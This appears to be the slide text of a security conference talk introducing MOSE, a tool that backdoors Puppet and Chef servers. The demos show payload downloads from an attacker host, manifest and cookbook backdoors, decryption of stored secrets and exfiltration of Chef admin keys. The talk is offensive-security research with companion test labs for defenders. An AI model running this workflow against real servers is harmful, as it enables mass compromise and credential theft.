MOSE: Using Configuration Management for Evil

Presented By: Jayson Grace
Legal Stuff

I am not speaking on behalf of my employer (or any previous employers), nor am I here as a representative of my current or previous employers.

My opinions do not reflect those of my current or previous employers, and are solely my own.
$ whoami

- Death Metal Vocalist
- Former DevOps engineer and Sysadmin
- Penetration Tester at Splunk
- Automator of things
Agenda

- What are Configuration Management Tools?
- How can we use them for evil?
- What is MOSE, why do we need it, and how do we run it?
- Demos
- Future Plans
Poll

Who enjoys post exploitation?
Poll Pt. 2

Who feels like they have enough time to do it properly?
Story Time

- Automation is best way to optimize post exploitation efforts
- MOSE will level up your postex game when you compromise CM servers
What are Configuration Management Tools?

- Tools to provision systems
- Helpful for managing assets in networked environments
CM tools share many common features

- Idempotency
- Ensure consistency across deployments
- Scalable
- Guaranteed state
- Modular, repeatable, supports variety of OS’s
- Native Secrets Management Solution
- Client/Server or Standalone deployment
These tools are used a lot of places.
Some of the more popular options
These tools do have key differences

<table>
<thead>
<tr>
<th></th>
<th>Puppet</th>
<th>Chef</th>
<th>Salt</th>
<th>Ansible</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Language Used</strong></td>
<td>Proprietary DSL</td>
<td>Ruby-based Proprietary DSL</td>
<td>YAML</td>
<td>YAML</td>
</tr>
<tr>
<td><strong>Architecture</strong></td>
<td>Master / Agent</td>
<td>Master / Agent / Workstation</td>
<td>Master / Minion</td>
<td>Agentless</td>
</tr>
<tr>
<td><strong>Packaging</strong></td>
<td>Manifests &amp; Modules</td>
<td>Recipes &amp; Cookbooks</td>
<td>States &amp; Formulas</td>
<td>Roles &amp; Playbooks</td>
</tr>
<tr>
<td><strong>Secrets</strong></td>
<td>Hiera-eyaml</td>
<td>Chef Vault</td>
<td>Encrypted Pillar</td>
<td>Ansible Vault</td>
</tr>
</tbody>
</table>
CMs Pro: no more bash scripts from hell
“But what about Kubernetes/containers?”

- Yep, great technology, super useful
- However, have limitations:
  - Not everything can be container-based
  - Difficult to migrate older monoliths to containers
  - Need tools to manage Kubernetes deployments
- CM tools aren’t going anywhere
CM for evil

IT'S FUN TO DO BAD THINGS
CM tools are a powerful hacking resource

- They allow you to run **any** command on **every** connected system
- Built-in and basically free persistence
- Manage a variety of secrets, which can include creds, keys, etc.
CM secrets are not out of reach

- All of these tools can manage your secrets
- Done in variety of ways
- They are often easy to access if you’re on a CM server
- Need to decrypt somewhere, so comes down to getting on the right system and running the right decrypt command
MOSE (Master of SErvers)
“Why can’t I just work with CM tools?”

- You can, it’s just a time suck
- Each tool has a different workflow, syntax, and architecture, so there’s a learning curve
- Very powerful, so there can be severe repercussions if misused
Another tool?

THE NUMBER OF TOOLS IS TOO DAMN HIGH!
Some existing tools *are* available

- **Pwnpet**
  - Bash script that creates a msfvenom-generated payload, as well as all necessary components to run this payload (once put into place by the user)

- **Pwnsible**
  - Bash script that creates a msfvenom-generated payload and tells you how to run it with Ansible
However, they have limitations

- Bash scripts don’t scale very well
- Limited to msfvenom payloads
- Lots of manual work to be done
- We want secrets and we want them now
MOSE is here to help

- Automates creation and placement of everything you need to run the CM tools
- Allows the user to upload and run existing tools
- Specifies behaviors for targets based on their functionality
- Saves us from ourselves (don’t rm -rf / all the systems)
MOSE is good for both n00bs and experts

- User can ignore CM tool-specific implementation details
- Tool-agnostic interface allows beginners to avoid CM tool learning curve
- Still high level of customizability to let users get deeper in the weeds
MOSE has Puppet and Chef functionality
Basic MOSE workflow

1. Specify the command to run and the type of CM tool
   ○ For example: ./mose -c ls -t puppet
   ○ More options available via settings.json config file
2. MOSE generates the payload as a binary
3. Transfer payload to remote server
   ○ By default served via web server
   ○ Or specify binary location and transfer manually
4. Run binary on target CM server
5. Profit
MOSE + Puppet
Puppet environment: Master and Agents

Resource:
https://banner2.kisspng.com/20180529/kqc/kisspng-brand-logo-organization-puppet-master-5b0d94418dcc33.6894967215276165775808.jpg
Step 1: specify command + params

```
λ the-new-dawn mose → λ git master* → ./mose -c "touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Puppet. >> /tmp/hello.txt" -t puppet -ssl -p 8090
Generating puppet payload to run touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Puppet. >> /tmp/hello.txt on a linux system, please wait...
Payload being served at https://192.168.86.229:8090/puppet-linux for 60 seconds
```
Step 2: dl payload onto target system

root@puppet:/# wget --no-check-certificate https://192.168.86.229:8090/puppet-linux
Connecting to 192.168.86.229:8090... connected.
WARNING: cannot verify 192.168.86.229's certificate, issued by 'CN=MOSE
,O=HackThePlanet,L=Mose,ST=Some-State,C=US':
  Self-signed certificate encountered.
  WARNING: certificate common name 'MOSE' doesn't match requested hos
t name '192.168.86.229'.
HTTP request sent, awaiting response... 200 OK
Length: 16957154 (16M) [application/octet-stream]
Saving to: 'puppet-linux'
puppet-linux  100%[==================================================] 16.17M 22.9MB/s in 0.7s

2019-07-22 02:02:36 (22.9 MB/s) - 'puppet-linux' saved [16957154/16957154]
Step 3: run payload on server

```
root@puppet:～# chmod +x puppet-linux; ./puppet-linux
Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up.[Y/n/q]
Y
2019/07/22 02:04:22 puppet cert list -a not working on this system
2019/07/22 02:04:22 Running puppetserver ca list --all
2019/07/22 02:04:22 Puppet Agents found: ["puppet.demo.com", "agent.demo.com"]
2019/07/22 02:04:23 Modules found: ["/etc/puppetlabs/code/environments/production/modules:Module hello_world(/etc/puppetlabs/code/environments/production/modules/hello_world)" "/etc/puppetlabs/code/environments/production/modules:Module my_cmd(/etc/puppetlabs/code/environments/production/modules/my_cmd)"
Back.dooring Puppet Server to run touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Puppet. >> /tmp/hello.txt on all Puppet agents, please wait...
Successfully back.doored /etc/puppetlabs/code/environments/production/manifests/site.pp
2019/07/22 02:04:23 Creating folder /etc/puppetlabs/code/environments/production/modules/my_cmd/manifests
Successfully created the my_cmd module at /etc/puppetlabs/code/environments/production/modules/my_cmd/manifests/init.pp
2019/07/22 02:04:23 Attempting to find secrets stored with Hiera
2019/07/22 02:04:23 Found secrets in file: /root/mysql_pw.yaml
2019/07/22 02:04:23 [hiera-eyaml-core] Loaded config from /etc/eyaml/config.yaml
mysql::root_password: V3ryS3cr3T!
```
Agent(s) check in, command is executed

```
[root@agent tmp]# puppet agent -t
Info: Using configured environment 'production'
Info: Retrieving pluginfacts
Info: Retrieving plugin
Info: Retrieving locales
Info: Caching catalog for agent.demo.com
Info: Applying configuration version '1563050106'
Notice: /Stage[main]/My_cmd/Exec[cmd]/returns: executed successfully (corrective)
Notice: Applied catalog in 0.03 seconds
[root@agent tmp]# ls
hello.txt  ks-script-eC059Y  yum.log
[root@agent tmp]# cat hello.txt
Hello, I am a file that was created by MOSE for Puppet.
[root@agent tmp]#  
```
MOSE + Chef
Chef has Server, Workstation, and Nodes

Resource:
https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a78e_chef-components.jpg
First we will look at Chef Workstation

Resource:
https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a78e_chef-components.jpg
Step 1: specify command + params

```bash
λ the-new-dawn mose → λ git master* → ./mose -c "touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt" -t chef -ssl -p 8090
Generating chef payload to run touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt on a linux system, please wait...
Payload being served at https://192.168.86.229:8090/chef-linux for 60 seconds
```
Step 2: dl payload onto target system

```
root@chef-workstation:/home/vagrant# wget --no-check-certificate https://192.168.86.229:8090/chef-linux
Connecting to 192.168.86.229:8090... connected.
WARNING: cannot verify 192.168.86.229's certificate, issued by 'CN=MOSE,O=HackThePlanet,L=Mose,ST=Some-State,C=US':
  Self-signed certificate encountered.
  WARNING: certificate common name 'MOSE' doesn't match requested host name '192.168.86.229'.
HTTP request sent, awaiting response... 200 OK
Length: 16986902 (16M) [application/octet-stream]
Saving to: 'chef-linux'

chef-linux                        100%[====================================>]	16.20M -.-KB/s	in 0.1s

2019-07-22 02:11:06 (153 MB/s) - 'chef-linux' saved [16986902/16986902]
```
Step 3: run payload on server

root@chef-workstation:/home/vagrant# chmod +x chef-linux; ./chef-linux
2019/07/22 02:13:33 Knife binary detected, attempting to get existing nodes and cookbooks...
2019/07/22 02:13:35 We appear to be on a chef workstation
2019/07/22 02:13:35 The following nodes were identified: [chef-agent-1 chef-agent-2 chef-agent-3]
2019/07/22 02:13:37 The following cookbooks were identified: [chef-client cron hello log rotate my_cmd]
Do you want to target specific chef agents?[Y/n/q]
Y
chef-agent-1, chef-agent-2, chef-agent-3
Please input the systems you want to target in a comma-separated list:
chef-agent-1
Creating cookbook to run touch /tmp/hello.txt & echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt on the following Chef agents: [chef-agent-1], please wait..
.
Successfully created the my_cmd cookbook at /root/.chef/cookbooks/my_cmd/recipes
2019/07/22 02:13:44 Moving to the recipes dir in order to upload the cookbook.
Uploading the touch /tmp/hello.txt & echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt cookbook to the chef server, please wait...
Adding touch /tmp/hello.txt & echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt cookbook to run_list for the following Chef agents: [chef-agent-1], please wait...
Agent(s) check in, command is executed

root@chef-agent-1:/home/vagrant# chef-client
Starting Chef Client, version 14.10.9
resolving cookbooks for run list: ["hello", "chef-client::config", "my_cmd"]
Synchronizing Cookbooks:
  - hello (0.1.0)
  - cron (6.2.1)
  - chef-client (11.2.0)
  - logrotate (2.2.0)
  - my_cmd (0.0.0)
Recipe: my_cmd::default
  * execute[my_cmd] action run
    - execute touch /tmp/hello.txt && echo Hello, I am a file created by MOSE for Chef. >> /tmp/hello.txt

Running handlers:
Running handlers complete
Chef Client finished, 1/14 resources updated in 02 seconds
“Wow, postex on a Chef Workstation machine is pretty straightforward!”

...That was easy
Enter: Chef Server
Reminder of the Chef Setup

Resource: https://gspann.cdn.prismic.io/gspann/77ba86c0653abb3017c60b4d1fa854ce8218a78e_chef-components.jpg
Server can’t directly provision systems

Has resources needed to attack Chef agents but...

How do we use this info to deploy our code?

Where do we run Chef Workstation?

How do we automate it so it’s not your problem?
Solution
Plan of Attack for Chef Server

1-4. Compromise Chef Server and transfer MOSE payload

5. Exfiltrate data needed to build knife file

6a. Build Chef Workstation with stolen data

6b. Use Chef Workstation to upload rogue cookbooks

6c. Run malicious cookbooks on nodes
Steps 1-4: postex on Chef Server

5. Exfiltrate data needed to build knife file

6a. Build Chef Workstation with stolen data

1-4. Compromise Chef Server and transfer MOSE payload

6c. Run malicious cookbooks on nodes

6b. Use Chef Workstation to upload rogue cookbooks
Step 1: specify command + params

```
λ the-new-dawn mose → λ git master* → ./mose -c "touch /tmp/helloserver.txt
  && echo Hello, I am a file created by MOSE for Chef Server. >> /tmp/helloserver.txt" -t chef -l 192.168.86.229 -p 8090 -ep 9090 -ssl
Generating chef payload to run touch /tmp/helloserver.txt && echo Hello, I am a file created by MOSE for Chef Server. >> /tmp/helloserver.txt on a linux system, please wait...
Payload being served at https://192.168.86.229:8090/chef-linux for 60 seconds
```
Step 2: dl payload onto Chef Server

Connecting to 192.168.86.229:8090... connected.
WARNING: cannot verify 192.168.86.229's certificate, issued by 'CN=MOSE,O=HackThePlane
t,L=Mose,ST=Some-State,C=US':
  Self-signed certificate encountered.
  WARNING: certificate common name 'MOSE' doesn't match requested host name '192.168
  .86.229'.
HTTP request sent, awaiting response... 200 OK
Length: 16986902 (16M) [application/octet-stream]
Saving to: 'chef-linux'

chef-linux 100%[=============================================]
60.20M 77.6MB/s in 0.2s

2019-07-22 03:30:13 (77.6 MB/s) - 'chef-linux' saved [16986902/16986902]
Step 3: run payload on server

root@chef-server:~# ./chef-linux
2019/07/22 03:55:49 No dirs found with names []string{"\cookbooks$"}
2019/07/22 03:55:49 Unable to find the cookbook directory.
2019/07/22 03:55:49 Knife binary detected, attempting to get existing nodes and cookbooks...
2019/07/22 03:55:50 Determining if we are on a chef server or an invalid target, please wait...
Chef Server detected
Step 4: specify Chef Server as target

Payload being served at http://192.168.86.229:8090/chef-linux for 60 seconds
Web server shutting down...
Is your target a chef workstation?[Y/n/q]
n
Is your target a chef server?[Y/n/q]
Y
Listener being served at http://192.168.86.229:9090/chef-linux for 30 seconds
Step 5: exfil data
Step 5: exfil keys and needed info

2019/07/22 03:55:51 Using /opt/opscode/bin/chef-server-ctl to find organizations, please wait...
2019/07/22 03:55:53 Found the following organizations: my_org
Exfilling /etc/chef/admin.pem, please wait...
Exfilling /etc/chef/my_org-validator.pem, please wait...
Finished exfiltrating keys, move to docker container being spawned on the attacker's system to continue post exploitation operations.
Steps 6a-c: run MOSE from Chef Workstation
Step 6: drive it like you stole it

Listener being served at http://192.168.86.229:9090/chef-linux for 30 seconds
2019/07/21 20:55:53 Successfully uploaded admin.pem
2019/07/21 20:55:53 Successfully uploaded my_org-validator.pem
Web server shutting down...
2019/07/21 20:56:23 Running knife ssl fetch, please wait...
2019/07/21 20:56:30 2019/07/22 03:56:25 Knife binary detected, attempting to get existing nodes and cookbooks...
2019/07/22 03:56:28 We appear to be on a chef workstation
2019/07/22 03:56:28 The following nodes were identified: [chef-agent-1 chef-agent-2 chef-agent-3]
2019/07/22 03:56:30 The following cookbooks were identified: [chef-client cron hello logrotate my_cmd]
2019/07/22 03:56:30 Passive mode enabled, exiting.

Do you want to target specific chef agents?[Y/n/q] Y
chef-agent-1, chef-agent-2, chef-agent-3
Demo 2
Demo 3
But how I test before I buy?

Want to try some of this on your own? Don’t have an environment to do it in?

Fear not! I’ve created test labs for you, based on Docker and Vagrant, which can be found here:

https://github.com/master-of-servers/puppet-test-lab

and here:

https://github.com/master-of-servers/chef-test-lab
Test lab is useful for blue teams too

These labs could also be used in conjunction with MOSE for fire drilling and building detection mechanisms
Future Plans

- Ansible, Salt, and Jenkins Support
- Interfacing with tools like Metasploit via containers to generate payloads and set up listeners
- Backdooring existing recipes/modules/playbooks/states
- Turn some of this functionality into Metasploit modules?
- Whatever great ideas you folks have
Thank You

Amanda Minnich
Aleksandar Straumann
Michael Wyatt
Ron Minnich
Defcon Staff
DR. ROBOT

Awesome Recon Tool

Saturday from 12:00 - 13:50 in Sunset 5 at Planet Hollywood
Jayson Grace

Twitter: @Jayson_Grace

Blog: https://techvomit.net/

MOSE Repo:
https://github.com/master-of-servers/MOSE

Puppet Test Lab Repo:
https://github.com/master-of-servers/puppet-test-lab

Chef Test Lab Repo:
https://github.com/master-of-servers/chef-test-lab